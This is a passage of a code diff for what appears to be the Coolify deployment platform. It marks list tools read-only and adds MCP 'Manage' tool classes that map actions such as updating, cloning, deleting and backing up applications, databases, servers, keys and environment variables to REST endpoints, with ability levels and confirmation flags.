b/app/Mcp/Tools/ListSharedEnvKeys.php @@ -11,7 +11,9 @@ use Illuminate\Contracts\JsonSchema\JsonSchema; use Laravel\Mcp\Request; use Laravel\Mcp\Response; use Laravel\Mcp\Server\Tool; +use Laravel\Mcp\Server\Tools\Annotations\IsReadOnly; +#[IsReadOnly] class ListSharedEnvKeys extends Tool { protected string $name = 'list_shared_env_keys'; diff --git a/app/Mcp/Tools/ListStorages.php b/app/Mcp/Tools/ListStorages.php index e788f3c8c6..1ba32eb552 100644 --- a/app/Mcp/Tools/ListStorages.php +++ b/app/Mcp/Tools/ListStorages.php @@ -9,7 +9,9 @@ use Illuminate\Contracts\JsonSchema\JsonSchema; use Laravel\Mcp\Request; use Laravel\Mcp\Response; use Laravel\Mcp\Server\Tool; +use Laravel\Mcp\Server\Tools\Annotations\IsReadOnly; +#[IsReadOnly] class ListStorages extends Tool { protected string $name = 'list_storages'; diff --git a/app/Mcp/Tools/ListTags.php b/app/Mcp/Tools/ListTags.php index c3ba212116..66fb991e72 100644 --- a/app/Mcp/Tools/ListTags.php +++ b/app/Mcp/Tools/ListTags.php @@ -9,7 +9,9 @@ use Illuminate\Contracts\JsonSchema\JsonSchema; use Laravel\Mcp\Request; use Laravel\Mcp\Response; use Laravel\Mcp\Server\Tool; +use Laravel\Mcp\Server\Tools\Annotations\IsReadOnly; +#[IsReadOnly] class ListTags extends Tool { protected string $name = 'list_tags'; diff --git a/app/Mcp/Tools/ListTeamMembers.php b/app/Mcp/Tools/ListTeamMembers.php index c4bc3f5ed9..d1d44e64d5 100644 --- a/app/Mcp/Tools/ListTeamMembers.php +++ b/app/Mcp/Tools/ListTeamMembers.php @@ -9,7 +9,9 @@ use Illuminate\Contracts\JsonSchema\JsonSchema; use Laravel\Mcp\Request; use Laravel\Mcp\Response; use Laravel\Mcp\Server\Tool; +use Laravel\Mcp\Server\Tools\Annotations\IsReadOnly; +#[IsReadOnly] class ListTeamMembers extends Tool { protected string $name = 'list_team_members'; diff --git a/app/Mcp/Tools/ListUnhealthyResources.php b/app/Mcp/Tools/ListUnhealthyResources.php index a394d8ce05..3fd3ad56ed 100644 --- a/app/Mcp/Tools/ListUnhealthyResources.php +++ b/app/Mcp/Tools/ListUnhealthyResources.php @@ -16,7 +16,9 @@ use Illuminate\Support\Collection; use Laravel\Mcp\Request; use Laravel\Mcp\Response; use Laravel\Mcp\Server\Tool; +use Laravel\Mcp\Server\Tools\Annotations\IsReadOnly; +#[IsReadOnly] class ListUnhealthyResources extends Tool { protected string $name = 'list_unhealthy_resources'; diff --git a/app/Mcp/Tools/ManageApplication.php b/app/Mcp/Tools/ManageApplication.php new file mode 100644 index 0000000000..bdb1bf898a --- /dev/null +++ b/app/Mcp/Tools/ManageApplication.php @@ -0,0 +1,40 @@ + ['method' => 'PATCH', 'path' => 'applications/{uuid}', 'ability' => 'write', 'description' => 'update application settings (data: same fields as the REST update, e.g. name, domains, git_branch, ports_exposes, build_command)'], + 'delete' => ['method' => 'DELETE', 'path' => 'applications/{uuid}', 'ability' => 'write', 'confirm' => true, 'description' => 'delete the application and its containers (data: delete_volumes, delete_connected_networks, delete_configurations, docker_cleanup)'], + 'clone' => ['method' => 'POST', 'path' => 'applications/{uuid}/clone', 'ability' => 'write', 'description' => 'clone the application to a destination of the team (data: destination_uuid, name, clone_volumes)'], + 'move' => ['method' => 'POST', 'path' => 'applications/{uuid}/move', 'ability' => 'write', 'confirm' => true, 'description' => 'move the application to another environment of the team (data: environment_uuid)'], + 'add_server' => ['method' => 'POST', 'path' => 'applications/{uuid}/destinations', 'ability' => 'write', 'description' => 'attach an additional destination on another server (data: destination_uuid)'], + 'remove_server' => ['method' => 'DELETE', 'path' => 'applications/{uuid}/destinations/{destination_uuid}', 'ability' => 'write', 'confirm' => true, 'description' => 'detach an additional destination'], + ]; + } + + protected function pathParams(): array + { + return [ + 'uuid' => 'Application UUID.', + 'destination_uuid' => 'Destination UUID to detach (remove_server only).', + ]; + } + + protected function dataDescription(): string + { + return 'Request body, same fields as the REST API. update: application fields; delete: delete_volumes, delete_connected_networks, delete_configurations, docker_cleanup; clone: destination_uuid, name, clone_volumes; move: environment_uuid; add_server: destination_uuid.'; + } +} diff --git a/app/Mcp/Tools/ManageBackup.php b/app/Mcp/Tools/ManageBackup.php new file mode 100644 index 0000000000..244485fee5 --- /dev/null +++ b/app/Mcp/Tools/ManageBackup.php @@ -0,0 +1,39 @@ + ['method' => 'POST', 'path' => 'databases/{uuid}/backups', 'ability' => 'write', 'description' => 'create a backup schedule (data: frequency, enabled, save_s3, s3_storage_uuid(s), retention fields, backup_now ...)'], + 'update' => ['method' => 'PATCH', 'path' => 'databases/{uuid}/backups/{scheduled_backup_uuid}', 'ability' => 'write', 'description' => 'update a backup schedule; data.backup_now=true runs a backup now'], + 'delete' => ['method' => 'DELETE', 'path' => 'databases/{uuid}/backups/{scheduled_backup_uuid}', 'ability' => 'write', 'confirm' => true, 'description' => 'delete a backup schedule and all its backup files (data.delete_s3=true also deletes S3 copies)'], + 'delete_execution' => ['method' => 'DELETE', 'path' => 'databases/{uuid}/backups/{scheduled_backup_uuid}/executions/{execution_uuid}', 'ability' => 'write', 'confirm' => true, 'description' => 'delete one backup execution and its file (data.delete_s3=true also deletes the S3 copy)'], + ]; + } + + protected function pathParams(): array + { + return [ + 'uuid' => 'Database UUID.', + 'scheduled_backup_uuid' => 'Backup schedule UUID (not needed for create).', + 'execution_uuid' => 'Backup execution UUID (delete_execution only).', + ]; + } + + protected function dataDescription(): string + { + return 'Request body, same fields as the REST API: frequency, enabled, save_s3, dump_all, backup_now, s3_storage_uuid, s3_storage_uuids, databases_to_backup, database_backup_retention_amount_locally, database_backup_retention_days_locally, database_backup_retention_max_storage_locally, database_backup_retention_amount_s3, database_backup_retention_days_s3, database_backup_retention_max_storage_s3, timeout, missing_backup_notification_days; delete_s3 for deletes.'; + } +} diff --git a/app/Mcp/Tools/ManageDatabase.php b/app/Mcp/Tools/ManageDatabase.php new file mode 100644 index 0000000000..3dadf67e26 --- /dev/null +++ b/app/Mcp/Tools/ManageDatabase.php @@ -0,0 +1,38 @@ + ['method' => 'PATCH', 'path' => 'databases/{uuid}', 'ability' => 'write', 'description' => 'update database settings (data: name, description, image, is_public, public_port, public_port_timeout, limits_*, type credentials and *_conf fields, redact_all_env_values_in_logs)'], + 'delete' => ['method' => 'DELETE', 'path' => 'databases/{uuid}', 'ability' => 'write', 'confirm' => true, 'description' => 'delete the database (data: delete_volumes, delete_connected_networks, delete_configurations, docker_cleanup; all default true)'], + 'clone' => ['method' => 'POST', 'path' => 'databases/{uuid}/clone', 'ability' => 'write', 'confirm' => true, 'description' => 'clone the database to a destination of the team (data: destination_uuid, name, clone_volumes; clone_volumes stops the source database while volumes are copied)'], + 'move' => ['method' => 'POST', 'path' => 'databases/{uuid}/move', 'ability' => 'write', 'confirm' => true, 'description' => 'move the database to another environment of the team (data: environment_uuid)'], + 'import' => ['method' => 'POST', 'path' => 'databases/{uuid}/imports', 'ability' => 'write', 'confirm' => true, 'description' => 'import a backup into the database, can overwrite data (data: source s3 | server, s3_storage_uuid, path, dump_all, replace_existing, keep_owners, restore_mysql_users, sqlite_database); check progress with get_database_import'], + ]; + } + + protected function pathParams(): array + { + return [ + 'uuid' => 'Database UUID.', + ]; + } + + protected function dataDescription(): string + { + return 'Request body, same fields as the REST API (see the action descriptions). File uploads are not supported: import only from an S3 storage of the team (source=s3, s3_storage_uuid, path) or a server path (source=server, path; needs deploy ability).'; + } +} diff --git a/app/Mcp/Tools/ManageDestination.php b/app/Mcp/Tools/ManageDestination.php new file mode 100644 index 0000000000..fa3f65f107 --- /dev/null +++ b/app/Mcp/Tools/ManageDestination.php @@ -0,0 +1,37 @@ + ['method' => 'POST', 'path' => 'servers/{server_uuid}/destinations', 'ability' => 'write', 'description' => 'create a destination on a server (data: network, name, type standalone|swarm)'], + 'update' => ['method' => 'PATCH', 'path' => 'destinations/{uuid}', 'ability' => 'write', 'description' => 'rename a destination (data: name)'], + 'delete' => ['method' => 'DELETE', 'path' => 'destinations/{uuid}', 'ability' => 'write', 'confirm' => true, 'description' => 'delete a destination without resources and remove its Docker network'], + ]; + } + + protected function pathParams(): array + { + return [ + 'server_uuid' => 'Server UUID (create only).', + 'uuid' => 'Destination UUID (update and delete).', + ]; + } + + protected function dataDescription(): string + { + return 'Request body, same fields as the REST API: network, name, type (create); name (update).'; + } +} diff --git a/app/Mcp/Tools/ManageEnv.php b/app/Mcp/Tools/ManageEnv.php new file mode 100644 index 0000000000..676afb81c2 --- /dev/null +++ b/app/Mcp/Tools/ManageEnv.php @@ -0,0 +1,54 @@ + ['method' => 'POST', 'paths' => [ + 'application' => 'applications/{uuid}/envs', + 'database' => 'databases/{uuid}/envs', + 'service' => 'services/{uuid}/envs', + ], 'ability' => 'write', 'description' => 'create a variable (data: key, value, is_literal, is_multiline, is_shown_once, comment; applications also is_preview, is_runtime, is_buildtime)'], + 'update' => ['method' => 'PATCH', 'paths' => [ + 'application' => 'applications/{uuid}/envs', + 'database' => 'databases/{uuid}/envs', + 'service' => 'services/{uuid}/envs', + ], 'ability' => 'write', 'description' => 'update the variable with this key (data: key, value and the create flags)'], + 'bulk_update' => ['method' => 'PATCH', 'paths' => [ + 'application' => 'applications/{uuid}/envs/bulk', + 'database' => 'databases/{uuid}/envs/bulk', + 'service' => 'services/{uuid}/envs/bulk', + ], 'ability' => 'write', 'description' => 'create or update several variables (data: {"data": [{key, value, ...}]})'], + 'delete' => ['method' => 'DELETE', 'paths' => [ + 'application' => 'applications/{uuid}/envs/{env_uuid}', + 'database' => 'databases/{uuid}/envs/{env_uuid}', + 'service' => 'services/{uuid}/envs/{env_uuid}', + ], 'ability' => 'write', 'confirm' => true, 'description' => 'delete a variable by UUID'], + ]; + } + + protected function pathParams(): array + { + return [ + 'uuid' => 'Application, database, or service UUID.', + 'env_uuid' => 'Environment variable UUID (delete). See list_env_keys.', + ]; + } + + protected function dataDescription(): string + { + return 'Request body, same fields as the REST API: key, value, is_literal, is_multiline, is_shown_once, comment; applications also is_preview, is_runtime, is_buildtime. bulk_update: {"data": [ ...variables ]}.'; + } +} diff --git a/app/Mcp/Tools/ManageGitSource.php b/app/Mcp/Tools/ManageGitSource.php new file mode 100644 index 0000000000..435d8950ff --- /dev/null +++ b/app/Mcp/Tools/ManageGitSource.php @@ -0,0 +1,37 @@ + ['method' => 'GET', 'paths' => ['github' => 'github-apps', 'gitlab' => 'gitlab-apps'], 'ability' => 'read', 'description' => 'git apps of the team and system-wide apps'], + 'create' => ['method' => 'POST', 'paths' => ['github' => 'github-apps', 'gitlab' => 'gitlab-apps'], 'ability' => 'write', 'description' => 'add a git app (github data: name, html_url, api_url, app_id, installation_id, client_id, client_secret, webhook_secret, private_key_uuid, organization, custom_user, custom_port; gitlab data: name, html_url, api_url, group_name, client_id, client_secret, webhook_token, redirect_uri, custom_user, custom_port)'], + 'update' => ['method' => 'PATCH', 'paths' => ['github' => 'github-apps/{source_id}', 'gitlab' => 'gitlab-apps/{source_id}'], 'ability' => 'write', 'description' => 'update a git app of the team (data: same fields as create, all optional)'], + 'delete' => ['method' => 'DELETE', 'paths' => ['github' => 'github-apps/{source_id}', 'gitlab' => 'gitlab-apps/{source_id}'], 'ability' => 'write', 'confirm' => true, 'description' => 'delete a git app of the team that no application uses'], + ]; + } + + protected function pathParams(): array + { + return [ + 'source_id' => 'Numeric id of the git app, from the list action (update and delete).', + ]; + } + + protected function dataDescription(): string + { + return 'Request body, same fields as the REST API for GitHub or GitLab apps.'; + } +} diff --git a/app/Mcp/Tools/ManageNotifications.php b/app/Mcp/Tools/ManageNotifications.php new file mode 100644 index 0000000000..9a879930e5 --- /dev/null +++ b/app/Mcp/Tools/ManageNotifications.php @@ -0,0 +1,44 @@ + 'notifications/email', + 'discord' => 'notifications/discord', + 'slack' => 'notifications/slack', + 'telegram' => 'notifications/telegram', + 'pushover' => 'notifications/pushover', + 'webhook' => 'notifications/webhook', + ]; + + protected function actions(): array + { + return [ + 'get' => ['method' => 'GET', 'paths' => self::CHANNEL_PATHS, 'ability' => 'read', 'description' => 'settings of one channel'], + 'update' => ['method' => 'PATCH', 'paths' => self::CHANNEL_PATHS, 'ability' => 'write', 'description' => 'change settings of one channel (data: fields of that channel, for example discord_enabled, discord_webhook_url, deployment_failure_discord_notifications)'], + ]; + } + + protected function pathParams(): array + { + return []; + } + + protected function dataDescription(): string + { + return 'Request body, same fields as the REST API for the channel (for example smtp_*, resend_*, *_enabled, *_webhook_url, telegram_token, telegram_chat_id, pushover_user_key, pushover_api_token, and the per-event *_notifications flags).'; + } +} diff --git a/app/Mcp/Tools/ManagePreview.php b/app/Mcp/Tools/ManagePreview.php new file mode 100644 index 0000000000..0f4b92b339 --- /dev/null +++ b/app/Mcp/Tools/ManagePreview.php @@ -0,0 +1,37 @@ + ['method' => 'POST', 'path' => 'applications/{uuid}/previews', 'ability' => 'deploy', 'description' => 'open or redeploy a preview (data: pull_request_id, pull_request_html_url, git_type, commit, docker_tag, force, instant_deploy)'], + 'update' => ['method' => 'PATCH', 'path' => 'applications/{uuid}/previews/{pull_request_id}', 'ability' => 'write', 'description' => 'replace preview domains (data: domains, or docker_compose_domains for compose apps, force_domain_override)'], + 'delete' => ['method' => 'DELETE', 'path' => 'applications/{uuid}/previews/{pull_request_id}', 'ability' => 'write', 'confirm' => true, 'description' => 'delete the preview and its containers'], + ]; + } + + protected function pathParams(): array + { + return [ + 'uuid' => 'Application UUID.', + 'pull_request_id' => 'Pull request ID of the preview (update and delete).', + ]; + } + + protected function dataDescription(): string + { + return 'Request body, same fields as the REST API. create: pull_request_id (required), pull_request_html_url, git_type (github | gitlab | gitea | bitbucket), commit, docker_tag (Docker image apps), force, instant_deploy; update: domains or docker_compose_domains, force_domain_override.'; + } +} diff --git a/app/Mcp/Tools/ManagePrivateKey.php b/app/Mcp/Tools/ManagePrivateKey.php new file mode 100644 index 0000000000..36a9ced91b --- /dev/null +++ b/app/Mcp/Tools/ManagePrivateKey.php @@ -0,0 +1,38 @@ + ['method' => 'GET', 'path' => 'security/keys', 'ability' => 'read', 'description' => 'private keys of the team (no key material)'], + 'get' => ['method' => 'GET', 'path' => 'security/keys/{uuid}', 'ability' => 'read', 'description' => 'one private key (no key material)'], + 'create' => ['method' => 'POST', 'path' => 'security/keys', 'ability' => 'write', 'description' => 'add a private key (data: private_key PEM or base64, name, description)'], + 'update' => ['method' => 'PATCH', 'path' => 'security/keys/{uuid}', 'ability' => 'write', 'description' => 'update a private key (data: name, description; private_key only to replace the key)'], + 'delete' => ['method' => 'DELETE', 'path' => 'security/keys/{uuid}', 'ability' => 'write', 'confirm' => true, 'description' => 'delete a private key that is not in use'], + ]; + } + + protected function pathParams(): array + { + return [ + 'uuid' => 'Private key UUID (get, update, delete).', + ]; + } + + protected function dataDescription(): string + { + return 'Request body, same fields as the REST API: private_key, name, description.'; + } +} diff --git a/app/Mcp/Tools/ManageProject.php b/app/Mcp/Tools/ManageProject.php new file mode 100644 index 0000000000..6d84a61c5d --- /dev/null +++ b/app/Mcp/Tools/ManageProject.php @@ -0,0 +1,40 @@ + ['method' => 'POST', 'path' => 'projects', 'ability' => 'write', 'description' => 'create a project (data: name, description)'], + 'update' => ['method' => 'PATCH', 'path' => 'projects/{uuid}', 'ability' => 'write', 'description' => 'update a project (data: name, description)'], + 'delete' => ['method' => 'DELETE', 'path' => 'projects/{uuid}', 'ability' => 'write', 'confirm' => true, 'description' => 'delete an empty project'], + 'create_environment' => ['method' => 'POST', 'path' => 'projects/{uuid}/environments', 'ability' => 'write', 'description' => 'create an environment (data: name)'], + 'update_environment' => ['method' => 'PATCH', 'path' => 'projects/{uuid}/environments/{environment_name_or_uuid}', 'ability' => 'write', 'description' => 'rename an environment (data: name)'], + 'delete_environment' => ['method' => 'DELETE', 'path' => 'projects/{uuid}/environments/{environment_name_or_uuid}', 'ability' => 'write', 'confirm' => true, 'description' => 'delete an empty environment'], + ]; + } + + protected function pathParams(): array + { + return [ + 'uuid' => 'Project UUID (not needed for create).', + 'environment_name_or_uuid' => 'Environment name or UUID (environment actions except create_environment).', + ]; + } + + protected function dataDescription(): string + { + return 'Request body, same fields as the REST API: name, description.'; + } +} diff --git a/app/Mcp/Tools/ManageProxy.php b/app/Mcp/Tools/ManageProxy.php new file mode 100644 index 0000000000..64cb1faa40 --- /dev/null +++ b/app/Mcp/Tools/ManageProxy.php @@ -0,0 +1,37 @@ + ['method' => 'GET', 'path' => 'servers/{uuid}/proxy', 'ability' => 'read', 'description' => 'proxy type, status, and settings (the configuration file only with read:sensitive)'], + 'update' => ['method' => 'PATCH', 'path' => 'servers/{uuid}/proxy', 'ability' => 'write', 'confirm' => true, 'description' => 'change proxy settings (data: proxy_type, redirect_enabled, redirect_url, generate_exact_labels, traefik_certificate_resolver)'], + 'set_configuration' => ['method' => 'PUT', 'path' => 'servers/{uuid}/proxy/configuration', 'ability' => 'write', 'confirm' => true, 'description' => 'replace the proxy configuration file (data: configuration, plain or base64)'], + 'restart' => ['method' => 'POST', 'path' => 'servers/{uuid}/proxy/restart', 'ability' => 'write', 'confirm' => true, 'description' => 'restart the proxy; routed apps are briefly unreachable'], + ]; + } + + protected function pathParams(): array + { + return [ + 'uuid' => 'Server UUID.', + ]; + } + + protected function dataDescription(): string + { + return 'Request body, same fields as the REST API: proxy_type, redirect_enabled, redirect_url, generate_exact_labels, traefik_certificate_resolver (update); configuration (set_configuration).'; + } +} diff --git a/app/Mcp/Tools/ManageRegistry.php b/app/Mcp/Tools/ManageRegistry.php new file mode 100644 index 0000000000..59749acbcd --- /dev/null +++ b/app/Mcp/Tools/ManageRegistry.php @@ -0,0 +1,38 @@ + ['method' => 'GET', 'path' => 'servers/{uuid}/registries', 'ability' => 'read:sensitive', 'description' => 'registry logins on the server (registry and username only)'], + 'create' => ['method' => 'POST', 'path' => 'servers/{uuid}/registries', 'ability' => 'write', 'description' => 'log in to a registry on the server (data: registry, username, password)'], + 'check' => ['method' => 'POST', 'path' => 'servers/{uuid}/registries/{registry}/check', 'ability' => 'write', 'description' => 'check that a registry login works'], + 'delete' => ['method' => 'DELETE', 'path' => 'servers/{uuid}/registries/{registry}', 'ability' => 'write', 'confirm' => true, 'description' => 'log out of a registry; private image pulls can fail afterwards'], + ]; + } + + protected function pathParams(): array + { + return [ + 'uuid' => 'Server UUID.', + 'registry' => 'Registry host, for example ghcr.io (check and delete). Hosts with a port are not supported here.', + ]; + } + + protected function dataDescription(): string + { + return 'Request body, same fields as the REST API: registry, username, password (create).'; + } +} diff --git a/app/Mcp/Tools/ManageS3Storage.php b/app/Mcp/Tools/ManageS3Storage.php new file mode 100644 index 0000000000..2f5a92970d --- /dev/null +++ b/app/Mcp/Tools/ManageS3Storage.php @@ -0,0 +1,39 @@ + ['method' => 'GET', 'path' => 's3-storages', 'ability' => 'read', 'description' => 'S3 storages of the team'], + 'get' => ['method' => 'GET', 'path' => 's3-storages/{uuid}', 'ability' => 'read', 'description' => 'one S3 storage'], + 'create' => ['method' => 'POST', 'path' => 's3-storages', 'ability' => 'write', 'description' => 'add an S3 storage (data: name, endpoint, bucket, region, key, secret, description, is_usable)'], + 'update' => ['method' => 'PATCH', 'path' => 's3-storages/{uuid}', 'ability' => 'write', 'description' => 'update an S3 storage (data: same fields as create, all optional)'], + 'delete' => ['method' => 'DELETE', 'path' => 's3-storages/{uuid}', 'ability' => 'write', 'confirm' => true, 'description' => 'delete an S3 storage'], + 'validate' => ['method' => 'POST', 'path' => 's3-storages/{uuid}/validate', 'ability' => 'write', 'description' => 'test the connection and save the result'], + ]; + } + + protected function pathParams(): array + { + return [ + 'uuid' => 'S3 storage UUID (not needed for list and create).', + ]; + } + + protected function dataDescription(): string + { + return 'Request body, same fields as the REST API: name, description, endpoint, bucket, region, key, secret, is_usable.'; + } +} diff --git a/app/Mcp/Tools/ManageScheduledTask.php b/app/Mcp/Tools/ManageScheduledTask.php new file mode 100644 index 0000000000..d5e0527404 --- /dev/null +++ b/app/Mcp/Tools/ManageScheduledTask.php @@ -0,0 +1,50 @@ + ['method' => 'POST', 'paths' => [ + 'application' => 'applications/{uuid}/scheduled-tasks', + 'service' => 'services/{uuid}/scheduled-tasks', + ], 'ability' => 'write', 'description' => 'create a scheduled task (data: name, command, frequency, container, timeout, enabled)'], + 'update' => ['method' => 'PATCH', 'paths' => [ + 'application' => 'applications/{uuid}/scheduled-tasks/{task_uuid}', + 'service' => 'services/{uuid}/scheduled-tasks/{task_uuid}', + ], 'ability' => 'write', 'description' => 'update a scheduled task (data: any of name, command, frequency, container, timeout, enabled)'], + 'delete' => ['method' => 'DELETE', 'paths' => [ + 'application' => 'applications/{uuid}/scheduled-tasks/{task_uuid}', + 'service' => 'services/{uuid}/scheduled-tasks/{task_uuid}', + ], 'ability' => 'write', 'confirm' => true, 'description' => 'delete a scheduled task'], + 'execute' => ['method' => 'POST', 'paths' => [ + 'application' => 'applications/{uuid}/scheduled-tasks/{task_uuid}/execute', + 'service' => 'services/{uuid}/scheduled-tasks/{task_uuid}/execute', + ], 'ability' => 'write', 'confirm' => true, 'description' => 'run the task command now'], + ]; + } + + protected function pathParams(): array + { + return [ + 'uuid' => 'Application or service UUID.', + 'task_uuid' => 'Scheduled task UUID (not needed for create).', + ]; + } + + protected function dataDescription(): string + { + return 'Request body, same fields as the REST API: name, command, frequency (cron or every_minute, hourly, daily, weekly, monthly, yearly), container, timeout (seconds), enabled.'; + } +} diff --git a/app/Mcp/Tools/ManageServer.php b/app/Mcp/Tools/ManageServer.php new file mode 100644 index 0000000000..2a036e07f9 --- /dev/null +++ b/app/Mcp/Tools/ManageServer.php @@ -0,0 +1,37 @@ + ['method' => 'POST', 'path' => 'servers', 'ability' => 'write', 'description' => 'add a server (data: ip, private_key_uuid, name, description, port, user, server_role, proxy_type, instant_validate)'], + 'update' => ['method' => 'PATCH', 'path' => 'servers/{uuid}', 'ability' => 'write', 'description' => 'update a server (data: name, description, ip, port, user, private_key_uuid, server_role, proxy_type, concurrent_builds, dynamic_timeout, deployment_queue_limit, connection_timeout, is_terminal_enabled, server_disk_usage_*)'], + 'delete' => ['method' => 'DELETE', 'path' => 'servers/{uuid}', 'ability' => 'write', 'confirm' => true, 'description' => 'delete a server without resources (the Coolify host cannot be deleted)'], + 'validate' => ['method' => 'POST', 'path' => 'servers/{uuid}/validate', 'ability' => 'write', 'description' => 'start a server validation (data: install=true also installs Docker)'], + ]; + } + + protected function pathParams(): array + { + return [ + 'uuid' => 'Server UUID (not needed for create).', + ]; + } + + protected function dataDescription(): string + { + return 'Request body, same fields as the REST API: name, description, ip, port, user, private_key_uuid, server_role (deployment|build|both), proxy_type, instant_validate, install (validate only).'; + } +} diff --git a/app/Mcp/Tools/ManageService.php b/app/Mcp/Tools/ManageService.php new file mode 100644 index 0000000000..bdbc6c0050 --- /dev/null +++ b/app/Mcp/Tools/ManageService.php @@ -0,0 +1,42 @@ + ['method' => 'PATCH', 'path' => 'services/{uuid}', 'ability' => 'write', 'description' => 'update the service (data: name, description, docker_compose_raw base64, connect_to_docker_network, urls, force_domain_override, is_container_label_escape_enabled, redact_all_env_values_in_logs, instant_deploy)'], + 'delete' => ['method' => 'DELETE', 'path' => 'services/{uuid}', 'ability' => 'write', 'confirm' => true, 'description' => 'delete the service (data: delete_volumes, delete_connected_networks, delete_configurations, docker_cleanup, delete_from_coolify_only)'], + 'clone' => ['method' => 'POST', 'path' => 'services/{uuid}/clone', 'ability' => 'write', 'confirm' => true, 'description' => 'clone the service to a destination of the team (data: destination_uuid, name, clone_volumes; clone_volumes stops the source service while volumes are copied)'], + 'move' => ['method' => 'POST', 'path' => 'services/{uuid}/move', 'ability' => 'write', 'confirm' => true, 'description' => 'move the service to another environment of the team (data: environment_uuid)'], + 'update_application' => ['method' => 'PATCH', 'path' => 'services/{uuid}/applications/{app_uuid}', 'ability' => 'write', 'description' => 'update a service application (data: url, noindex_domains, human_name, description, image, exclude_from_status, is_log_drain_enabled, is_gzip_enabled, traefik_certificate_resolver, is_stripprefix_enabled, is_force_https_enabled, max_restart_count)'], + 'update_database' => ['method' => 'PATCH', 'path' => 'services/{uuid}/databases/{database_uuid}', 'ability' => 'write', 'description' => 'update a service database (data: human_name, description, image, exclude_from_status, is_log_drain_enabled, is_public, public_port, public_port_timeout)'], + 'import_database' => ['method' => 'POST', 'path' => 'services/{uuid}/databases/{database_uuid}/imports', 'ability' => 'write', 'confirm' => true, 'description' => 'import a backup into a service database, can overwrite data (data: source s3 | server, s3_storage_uuid, path, dump_all, replace_existing, keep_owners, restore_mysql_users); check progress with get_database_import'], + ]; + } + + protected function pathParams(): array + { + return [ + 'uuid' => 'Service UUID.', + 'app_uuid' => 'Service application UUID (update_application).', + 'database_uuid' => 'Service database UUID (update_database, import_database).', + ]; + } + + protected function dataDescription(): string + { + return 'Request body, same fields as the REST API (see the action descriptions). File uploads are not supported: import only from an S3 storage of the team (source=s3, s3_storage_uuid, path) or a server path (source=server, path; needs deploy ability).'; + } +} diff --git a/app/Mcp/Tools/ManageSharedEnv.php b/app/Mcp/Tools/ManageSharedEnv.php new file mode 100644 index 0000000000..d21acd18d5 --- /dev/null +++ b/app/Mcp/Tools/ManageSharedEnv.php @@ -0,0 +1,53 @@ + ['method' => 'POST', 'paths' => [ + 'team' => 'team/envs', + 'project' => 'projects/{uuid}/envs', + 'environment' => 'projects/{uuid}/environments/{environment_name_or_uuid}/envs', + 'server' => 'servers/{uuid}/envs', + ], 'ability' => 'write', 'description' => 'create a shared variable (data: key, value, is_literal, is_multiline, is_shown_once, comment); returns its id'], + 'update' => ['method' => 'PATCH', 'paths' => [ + 'team' => 'team/envs/{env_id}', + 'project' => 'projects/{uuid}/envs/{env_id}', + 'environment' => 'projects/{uuid}/environments/{environment_name_or_uuid}/envs/{env_id}', + 'server' => 'servers/{uuid}/envs/{env_id}', + ], 'ability' => 'write', 'description' => 'update a shared variable (data: key, value, is_literal, is_multiline, is_shown_once, comment)'], + 'delete' => ['method' => 'DELETE', 'paths' => [ + 'team' => 'team/envs/{env_id}', + 'project' => 'projects/{uuid}/envs/{env_id}', + 'environment' => 'projects/{uuid}/environments/{environment_name_or_uuid}/envs/{env_id}', + 'server' => 'servers/{uuid}/envs/{env_id}', + ], 'ability' => 'write', 'confirm' => true, 'description' => 'delete a shared variable'], + ]; + } + + protected function pathParams(): array + { + return [ + 'uuid' => 'Project UUID (resource project or environment) or server UUID (resource server). Not used for team.', + 'environment_name_or_uuid' => 'Environment name or UUID (resource environment).', + 'env_id' => 'Shared variable id (update, delete).', + ]; + } + + protected function dataDescription(): string + { + return 'Request body, same fields as the REST API: key, value, is_literal, is_multiline, is_shown_once, comment.'; + } +} diff --git a/app/Mcp/Tools/ManageStorage.php b/app/Mcp/Tools/ManageStorage.php new file mode 100644 index 0000000000..d59d95ca14 --- /dev/null +++ b/app/Mcp/Tools/ManageStorage.php @@ -0,0 +1,52 @@ + ['method' => 'POST', 'paths' => $this->paths('storages'), 'ability' => 'write', 'description' => 'create a storage (data: type persistent|file, name, mount_path, content, is_directory, is_host_file, fs_path; services also resource_uuid)'], + 'update' => ['method' => 'PATCH', 'paths' => $this->paths('storages'), 'ability' => 'write', 'description' => 'update a storage (data: uuid of the storage, type, name, mount_path, content, is_preview_suffix_enabled)'], + 'delete' => ['method' => 'DELETE', 'paths' => $this->paths('storages/{storage_uuid}'), 'ability' => 'write', 'confirm' => true, 'description' => 'delete a storage'], + 'set_backup' => ['method' => 'PUT', 'paths' => $this->paths('storages/{storage_uuid}/backups'), 'ability' => 'write', 'description' => 'create or replace the volume backup schedule (data: frequency, enabled, save_s3, s3_storage_uuid(s), stop_during_backup, retention fields ...)'], + 'remove_backup' => ['method' => 'DELETE', 'paths' => $this->paths('storages/{storage_uuid}/backups'), 'ability' => 'write', 'confirm' => true, 'description' => 'delete the volume backup schedule and its local and S3 archives'], + 'run_backup' => ['method' => 'POST', 'paths' => $this->paths('storages/{storage_uuid}/backups/run'), 'ability' => 'write', 'confirm' => true, 'description' => 'run the volume backup now (can stop the resource when stop_during_backup is set)'], + ]; + } + + /** + * @return array + */ + private function paths(string $suffix): array + { + return [ + 'application' => "applications/{uuid}/{$suffix}", + 'database' => "databases/{uuid}/{$suffix}", + 'service' => "services/{uuid}/{$suffix}", + ]; + } + + protected function pathParams(): array + { + return [ + 'uuid' => 'Application, database, or service UUID.', + 'storage_uuid' => 'Storage UUID (delete and backup actions).', + ]; + } + + protected function dataDescription(): string + { + return 'Request body, same fields as the REST API. Storage: type, name, mount_path, content, is_directory, is_host_file, fs_path, resource_uuid (service), uuid (update). Backup: frequency, enabled, save_s3, disable_local_backup, stop_during_backup, s3_storage_uuid, s3_storage_uuids, retention_amount_locally, retention_days_locally, retention_max_storage_locally, retention_amount_s3, retention_days_s3, retention_max_storage_s3, timeout, missing_backup_notification_days.'; + } +} diff --git a/app/Mcp/Tools/ManageTags.php b/app/Mcp/Tools/ManageTags.php new file mode 100644 index 0000000000..37059bfe58 --- /dev/null +++ b/app/Mcp/Tools/ManageTags.php @@ -0,0 +1,47 @@ + ['method' => 'POST', 'path' => 'tags', 'ability' => 'write', 'description' => 'create a team tag (data: name)'], + 'update' => ['method' => 'PATCH', 'path' => 'tags/{tag_uuid}', 'ability' => 'write', 'description' => 'rename a team tag (data: name)'], + 'delete' => ['method' => 'DELETE', 'path' => 'tags/{tag_uuid}', 'ability' => 'write', 'confirm' => true, 'description' => 'delete a team tag and detach it from all resources'], + 'attach' => ['method' => 'POST', 'paths' => [ + 'application' => 'applications/{uuid}/tags', + 'database' => 'databases/{uuid}/tags', + 'service' => 